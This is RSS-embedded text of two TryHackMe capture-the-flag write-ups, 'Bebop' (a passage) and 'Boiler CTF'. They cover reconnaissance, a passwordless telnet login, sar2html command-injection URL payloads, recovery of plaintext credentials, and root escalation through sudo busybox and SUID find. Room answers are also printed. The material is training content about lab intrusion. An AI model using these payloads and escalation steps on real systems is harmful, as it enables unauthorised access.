&lt;p&gt;&lt;strong&gt;2. What is your codename?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;pilot&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;Task 2: Manoeuvre&lt;/h1&gt;
&lt;h2&gt;Reconnaissance&lt;/h2&gt;
&lt;p&gt;I started by scanning the target as always to identify open ports and running services.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sV -sC -T4 10.66.170.132 -oN nmap-scan
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Nmap Results:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.5 (FreeBSD 20170903; protocol 2.0)
| ssh-hostkey: 
|   2048 5b:e6:85:66:d8:dd:04:f0:71:7a:81:3c:58:ad:0b:b9 (RSA)
|_  256 96:fc:cc:3e:69:00:79:85:14:2a:e4:5f:0d:35:08:d4 (ED25519)
23/tcp open  telnet  BSD-derived telnetd
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Analysis:&lt;/strong&gt; The scan reveals that the drone is running a BSD-based operating system. Interestingly, Port 23 (Telnet) is open. Telnet is an insecure, legacy protocol that transmits data in cleartext. This is highly unusual for a modern device and serves as our primary vector for investigation.&lt;/p&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;h3&gt;Initial Access via Telnet&lt;/h3&gt;
&lt;p&gt;Given the open Telnet port and the codename &lt;strong&gt;&quot;pilot&quot;&lt;/strong&gt; obtained in Task 1, I attempted to log in directly. I used the &lt;code&gt;-l&lt;/code&gt; flag to specify the user.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;telnet -l pilot 10.66.170.132
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Trying 10.66.170.132...
Connected to 10.66.170.132.
Escape character is &apos;^]&apos;.
FreeBSD 11.2-STABLE (GENERIC) #0 r345837: Thu Apr  4 02:07:22 UTC 2019

Welcome to FreeBSD!
[pilot@freebsd ~]$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We successfully established a session without needing a password. This confirms the premise that the drone&apos;s OS is highly insecure.&lt;/p&gt;
&lt;h3&gt;Capturing the User Flag&lt;/h3&gt;
&lt;p&gt;Once inside, I listed the files in the current directory and found user.txt.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/1.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I read the file to capture the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/2.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 1&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is the User Flag?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;THM{REDACTED}&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Privilege Escalation&lt;/h3&gt;
&lt;p&gt;Pretty much the first thing you usually do when aiming for privesc on a Linux computer is look to see what you can run as sudo.
Running &lt;code&gt;sudo -l&lt;/code&gt; and see if we can run anything as root:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/3.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
&lt;code&gt;BusyBox&lt;/code&gt;: is software that provides several stripped-down Unix tools in a single executable file. It is often found in embedded devices like drones to save disk space. Since we can run busybox as root, we can execute any of its internal commands (like sh) with root privileges.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Enumerating BusyBox Capabilities&lt;/h3&gt;
&lt;p&gt;To see exactly which commands (applets) were available inside this BusyBox binary, I ran it without arguments:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo busybox
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./Images/4.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I spotted sh in the list of defined functions. This confirms we can spawn a shell.&lt;/p&gt;
&lt;h3&gt;Rooting the Drone&lt;/h3&gt;
&lt;p&gt;I executed the sh command through the sudo-enabled busybox binary. Since busybox runs as root, the shell it spawns inherits those privileges.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/5.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Success! I verified access to the root directory and captured the final flag.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# cat /root/root.txt
THM{REDACTED}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 3: Quiz!&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;What is the low privileged user?&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;pilot&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;What binary was used to escalate privileges?&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;busybox&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;What service was used to gain an initial shell?&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;telnet&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;What Operating System does the drone run?&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;FreeBSD&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Bebop demonstrated the fragility of embedded systems. By exploiting an unsecured Telnet service and a misconfigured &lt;code&gt;busybox&lt;/code&gt; binary, we went from zero access to root privileges in minutes. This room serves as a stark reminder that even &quot;toy&quot; drones require robust security configurations, as they are effectively flying computers that can be easily compromised if left wide open.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Happy Hacking :)&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>TryHackMe: Boiler CTF Writeup</title><link>https://0xm3dd.github.io/posts/tryhackme/boilerctf/boiler/</link><guid isPermaLink="true">https://0xm3dd.github.io/posts/tryhackme/boilerctf/boiler/</guid><description>A complete walkthrough of the Intermediate level Boiler CTF on TryHackMe. Heavy focus on enumeration, rabbit holes, and CMS exploitation.</description><pubDate>Sun, 01 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Room Link:&lt;/strong&gt; https://tryhackme.com/room/boilerctf2&lt;/p&gt;
&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;Welcome to my writeup for &lt;strong&gt;Boiler CTF&lt;/strong&gt;. This is an intermediate-level room that focuses heavily on enumeration. The room description warns us: &quot;Just enumerate, you&apos;ll get there.&quot; This implies we will face multiple services, potential rabbit holes, and the need to be thorough with our scans.&lt;/p&gt;
&lt;p&gt;Our goal is to find the user flags, exploit the machine, and escalate privileges to root.&lt;/p&gt;
&lt;h1&gt;Initial Enumeration&lt;/h1&gt;
&lt;h2&gt;Port Scanning&lt;/h2&gt;
&lt;p&gt;I began with a full TCP port scan to identify all running services, specifically looking for high-numbered ports as hinted by the room tasks.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sV -sC -T4 10.66.153.164 -oN nmap_scan
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Scan Output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.132.71
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp    open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
10000/tcp open  http    MiniServ 1.930 (Webmin httpd)
|_http-title: Site doesn&apos;t have a title (text/html; Charset=iso-8859-1).
|_http-server-header: MiniServ/1.930
55007/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e3:ab:e1:39:2d:95:eb:13:55:16:d6:ce:8d:f9:11:e5 (RSA)
|   256 ae:de:f2:bb:b7:8a:00:70:20:74:56:76:25:c0:df:38 (ECDSA)
|_  256 25:25:83:f2:a7:75:8a:a0:46:b2:12:70:04:68:5c:cb (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The scan revealed 4 ports:&lt;/p&gt;
&lt;p&gt;1.&lt;strong&gt;Port 21 (FTP)&lt;/strong&gt;: Running vsftpd 3.0.3 with Anonymous login enabled.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Port 80 (HTTP)&lt;/strong&gt;: Running Apache.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Port 10000 (HTTP)&lt;/strong&gt;: Running Webmin (MiniServ 1.930).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Port 55007&lt;/strong&gt;: Running SSH.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;Task 1: Enumeration &amp;amp; Questions&lt;/h1&gt;
&lt;h2&gt;FTP Investigation&lt;/h2&gt;
&lt;p&gt;Since anonymous login was allowed, I connected to the FTP server to see if any sensitive files were exposed.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ftp -a 10.66.153.164

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Session Log:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Connected to 10.66.153.164.
220 (vsFTPd 3.0.3)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp&amp;gt; ls -alps
229 Entering Extended Passive Mode (|||43621|)
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Aug 22  2019 .
drwxr-xr-x    2 ftp      ftp          4096 Aug 22  2019 ..
-rw-r--r--    1 ftp      ftp            74 Aug 21  2019 .info.txt
226 Directory send OK.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I found a hidden file named &lt;strong&gt;.info.txt&lt;/strong&gt; and we found our first answer.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
Use &lt;code&gt;get .info.txt&lt;/code&gt; to download this file on your machine.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer1&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;File extension after anon login&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;txt&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Analyzing the Hidden File&lt;/h2&gt;
&lt;p&gt;After downloading the file on my machine I inspected its content.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat .info.txt
# Output: Whfg jnagrq gb frr vs lbh svaq vg. Yby. Erzrzore: Rahzrengvba vf gur xrl!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./Images/1.png&quot; alt=&quot;img1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This appeared to be a rotation cipher. Using ROT13, I decoded the message:
&lt;img src=&quot;./Images/2.png&quot; alt=&quot;img2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This file was a rabbit hole, but it reinforced the room&apos;s theme: we need to dig deeper.&lt;/p&gt;
&lt;p&gt;The nmap scan gives us a hidden SSH service running on a very high port &lt;strong&gt;55007&lt;/strong&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 2&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What is on the highest port?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;SSH&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;And looking at port &lt;strong&gt;10000&lt;/strong&gt; we can find that is running &lt;strong&gt;Webmin&lt;/strong&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 3&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What&apos;s running on port 10000?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Webmin&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Service Exploitation Check&lt;/h2&gt;
&lt;p&gt;I checked the service on port 10000 (Webmin 1.930). While earlier versions had critical unauthenticated vulnerabilities, this specific version usually requires credentials to exploit. Without a valid login, it is not immediately exploitable.&lt;/p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 4&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Can you exploit the service running on that port? (yay/nay answer)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Nay&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;CMS Discovery&lt;/h2&gt;
&lt;p&gt;I ran a directory brute-force scan to find hidden web applications using &lt;code&gt;gobuster&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/3.png&quot; alt=&quot;img3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I identified a Joomla installation running on the server.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 5&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What&apos;s CMS can you access?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Joomla&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;Let’s start enumerating the robots.txt first. These files generally contain valuable information.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/4.png&quot; alt=&quot;img4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But, this time instead of valuable information. There was only rabbit holes. But I noticed the string given at the last in robots.txt it probably contains something:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;079 084 108 105 077 068 089 050 077 071 078 107 079 084 086 104 090 071 086 104 077 122 073 051 089 122 085 048 077 084 103 121 089 109 070 104 078 084 069 049 079 068 081 075

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Decoding&lt;/h3&gt;
&lt;p&gt;I decided to decode the ASCII decimal values found in &lt;code&gt;robots.txt&lt;/code&gt; to see if they hid a credential or a directory.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Decimal to ASCII&lt;/strong&gt;
Converting the decimal values (&lt;code&gt;079 084...&lt;/code&gt;) to text resulted in a Base64-like string:
&lt;code&gt;OTliMDY2MGNkOTVhZGZlMzczMzU0MTgyYmFhNTE1ODQK&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Base64 Decoding&lt;/strong&gt;
Decoding that string revealed what looked like a hash:
&lt;code&gt;99b0660cd95adfe373354182baa51584&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/5.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Cracking the Hash&lt;/strong&gt;
I identified this as an &lt;strong&gt;MD5&lt;/strong&gt; hash. Running it through an online cracker (like CrackStation or hashes.com) revealed the plaintext:
&lt;code&gt;kidding&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/6.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This confirmed that &lt;code&gt;robots.txt&lt;/code&gt; was a rabbit hole intended to waste time.&lt;/p&gt;
&lt;h2&gt;Deep Joomla Enumeration&lt;/h2&gt;
&lt;p&gt;Since the standard web root didn&apos;t yield results, I focused my enumeration on the &lt;code&gt;/joomla&lt;/code&gt; directory itself to find the &quot;interesting file&quot; mentioned in the tasks.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
gobuster dir -u http://10.67.140.32/joomla/ -w /usr/share/wordlists/dirb/common.txt


===============================================================
Starting gobuster in directory enumeration mode
===============================================================
 (Status: 200) [Size: 12457]
.htaccess            (Status: 403) [Size: 303]
.htpasswd            (Status: 403) [Size: 303]
.hta                 (Status: 403) [Size: 298]
_archive             (Status: 301) [Size: 322] [--&amp;gt; http://10.67.140.32/joomla/_archive/]
_database            (Status: 301) [Size: 323] [--&amp;gt; http://10.67.140.32/joomla/_database/]
_files               (Status: 301) [Size: 320] [--&amp;gt; http://10.67.140.32/joomla/_files/]
_test                (Status: 301) [Size: 319] [--&amp;gt; http://10.67.140.32/joomla/_test/]
~www                 (Status: 301) [Size: 318] [--&amp;gt; http://10.67.140.32/joomla/~www/]
administrator        (Status: 301) [Size: 327] [--&amp;gt; http://10.67.140.32/joomla/administrator/]
bin                  (Status: 301) [Size: 317] [--&amp;gt; http://10.67.140.32/joomla/bin/]
build                (Status: 301) [Size: 319] [--&amp;gt; http://10.67.140.32/joomla/build/]
cache                (Status: 301) [Size: 319] [--&amp;gt; http://10.67.140.32/joomla/cache/]
components           (Status: 301) [Size: 324] [--&amp;gt; http://10.67.140.32/joomla/components/]
images               (Status: 301) [Size: 320] [--&amp;gt; http://10.67.140.32/joomla/images/]
includes             (Status: 301) [Size: 322] [--&amp;gt; http://10.67.140.32/joomla/includes/]
index.php            (Status: 200) [Size: 12478]
installation         (Status: 301) [Size: 326] [--&amp;gt; http://10.67.140.32/joomla/installation/]
language             (Status: 301) [Size: 322] [--&amp;gt; http://10.67.140.32/joomla/language/]
layouts              (Status: 301) [Size: 321] [--&amp;gt; http://10.67.140.32/joomla/layouts/]
libraries            (Status: 301) [Size: 323] [--&amp;gt; http://10.67.140.32/joomla/libraries/]
media                (Status: 301) [Size: 319] [--&amp;gt; http://10.67.140.32/joomla/media/]
modules              (Status: 301) [Size: 321] [--&amp;gt; http://10.67.140.32/joomla/modules/]
plugins              (Status: 301) [Size: 321] [--&amp;gt; http://10.67.140.32/joomla/plugins/]
templates            (Status: 301) [Size: 323] [--&amp;gt; http://10.67.140.32/joomla/templates/]
tests                (Status: 301) [Size: 319] [--&amp;gt; http://10.67.140.32/joomla/tests/]
tmp                  (Status: 301) [Size: 317] [--&amp;gt; http://10.67.140.32/joomla/tmp/]
Progress: 4616 / 4616 (100.00%)
===============================================================
Finished
===============================================================

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Analyzing the Findings&lt;/h2&gt;
&lt;p&gt;Among the discovered directories, &lt;strong&gt;&lt;code&gt;/_test&lt;/code&gt;&lt;/strong&gt; stood out as non-standard. I navigated to &lt;code&gt;http://10.67.140.32/joomla/_test/&lt;/code&gt; and found a web interface for a tool called &lt;strong&gt;sar2html&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/7.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Vulnerability Identification&lt;/h2&gt;
&lt;p&gt;I searched for known vulnerabilities associated with &quot;sar2html&quot; and found a high-severity &lt;strong&gt;Remote Code Execution (RCE)&lt;/strong&gt; exploit on Exploit-DB [ID: 47204].&lt;/p&gt;
&lt;p&gt;The vulnerability exists because the application fails to sanitize user input in the &lt;code&gt;plot&lt;/code&gt; parameter. By injecting system commands after a semicolon (&lt;code&gt;;&lt;/code&gt;), we can execute arbitrary code on the underlying server.&lt;/p&gt;
&lt;h2&gt;Exploitation: Sar2HTML RCE&lt;/h2&gt;
&lt;p&gt;To confirm the vulnerability and explore the file system, I crafted a payload to list the contents of the current directory.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://10.67.140.32/joomla/_test/index.php?plot=;ls -la
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I executed this URL in the browser. The output of the command was rendered inside the &quot;Select Host&quot; dropdown menu on the page.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/8.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The output revealed a file named log.txt.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 6&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The interesting file name in the folder?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;log.txt&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Retrieving Secrets&lt;/h2&gt;
&lt;p&gt;Now that I knew the target file name, I modified the payload to read its contents using &lt;code&gt;cat&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://10.67.140.32/joomla/_test/index.php?plot=;cat log.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Result: The content of the log file appeared in the dropdown menu.&lt;/p&gt;
&lt;p&gt;Analyzing the log entries, I found a successful login event that revealed a username and password:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ssh2 #pass: superduperp@$$ Accepted password for basterd&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/9.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Task 2: Exploitation &amp;amp; Privilege Escalation&lt;/h1&gt;
&lt;h1&gt;SSH Access&lt;/h1&gt;
&lt;p&gt;Armed with these credentials, I logged into the server using the high port identified earlier.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh basterd@10.67.140.32 -p 55007

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Internal Enumeration&lt;/h2&gt;
&lt;p&gt;After verifying my access, I listed the files in the current user&apos;s home directory.&lt;/p&gt;
&lt;p&gt;I noticed a script named backup.sh.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/10.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I examined the contents of the script to see if it contained any sensitive information.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat backup.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Script Content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;REMOTE=1.2.3.4

SOURCE=/home/stoner
TARGET=/usr/local/backup

LOG=/home/stoner/bck.log

DATE=`date +%y\.%m\.%d\.`

USER=stoner
#superduperp@$$no1knows

ssh $USER@$REMOTE mkdir $TARGET/$DATE


if [ -d &quot;$SOURCE&quot; ]; then
    for i in `ls $SOURCE | grep &apos;data&apos;`;do
             echo &quot;Begining copy of&quot; $i  &amp;gt;&amp;gt; $LOG
             scp  $SOURCE/$i $USER@$REMOTE:$TARGET/$DATE
             echo $i &quot;completed&quot; &amp;gt;&amp;gt; $LOG

                if [ -n `ssh $USER@$REMOTE ls $TARGET/$DATE/$i 2&amp;gt;/dev/null` ];then
                    rm $SOURCE/$i
                    echo $i &quot;removed&quot; &amp;gt;&amp;gt; $LOG
                    echo &quot;####################&quot; &amp;gt;&amp;gt; $LOG
                                else
                                        echo &quot;Copy not complete&quot; &amp;gt;&amp;gt; $LOG
                                        exit 0
                fi
    done


else

    echo &quot;Directory is not present&quot; &amp;gt;&amp;gt; $LOG
    exit 0
fi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The script contained a comment with what appeared to be a password for the user stoner.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[...]
USER=stoner
#superduperp@$$no1knows
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 1&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Where was the other users pass stored(no extension, just the name)?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;backup&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Lateral Movement&lt;/h2&gt;
&lt;p&gt;Using the password discovered in the backup script (&lt;code&gt;superduperp@$$no1knows&lt;/code&gt;), I switched to the user &lt;code&gt;stoner&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;su stoner
# Password: superduperp@$$no1knows
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Enumerating Stoner&apos;s Directory&lt;/h2&gt;
&lt;p&gt;I listed the files in the new user&apos;s home directory to look for the flag.&lt;/p&gt;
&lt;p&gt;I found a hidden file named .secret&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/11.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
Always remember to check for &lt;code&gt;hidden files&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;You made it till here, well done.&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At first, I thought this was a rabbit hole or a troll message. However, after failing to find a &lt;code&gt;user.txt&lt;/code&gt; anywhere else, I realized &lt;strong&gt;this string IS the flag.&lt;/strong&gt; The room was playing games with us :)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 2&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;user.txt&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;You made it till here, well done.&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h1&gt;Privilege Escalation (Root)&lt;/h1&gt;
&lt;h2&gt;Sudo Enumeration&lt;/h2&gt;
&lt;p&gt;I first checked for &lt;code&gt;sudo&lt;/code&gt; privileges to see if I could run any commands as root.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo -l
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(root) NOPASSWD: /NotThisTime/MessinWithYa
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This was clearly another troll by the creator.&lt;/p&gt;
&lt;h2&gt;SUID Enumeration&lt;/h2&gt;
&lt;p&gt;Next, I searched for binaries with the SUID bit set, which allows a user to execute the file with the permissions of its owner (root).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find / -perm /4000 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./Images/12.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I noticed &lt;strong&gt;/usr/bin/find&lt;/strong&gt; in the list. This is a well-known privilege escalation vector (GTFOBins) because find has an &lt;em&gt;-exec&lt;/em&gt; flag that can run system commands.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 3&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What did you exploit to get the privileged user?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;find&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Capturing the Root Flag&lt;/h2&gt;
&lt;p&gt;Since find runs as root, I used it to execute &lt;strong&gt;ls&lt;/strong&gt; and &lt;strong&gt;cat&lt;/strong&gt; on the &lt;strong&gt;/root&lt;/strong&gt; directory, bypassing the permission restrictions.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/13.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 4&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;root.txt&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;It wasn&apos;t that hard, was it?&lt;/code&gt;&lt;/p&gt;
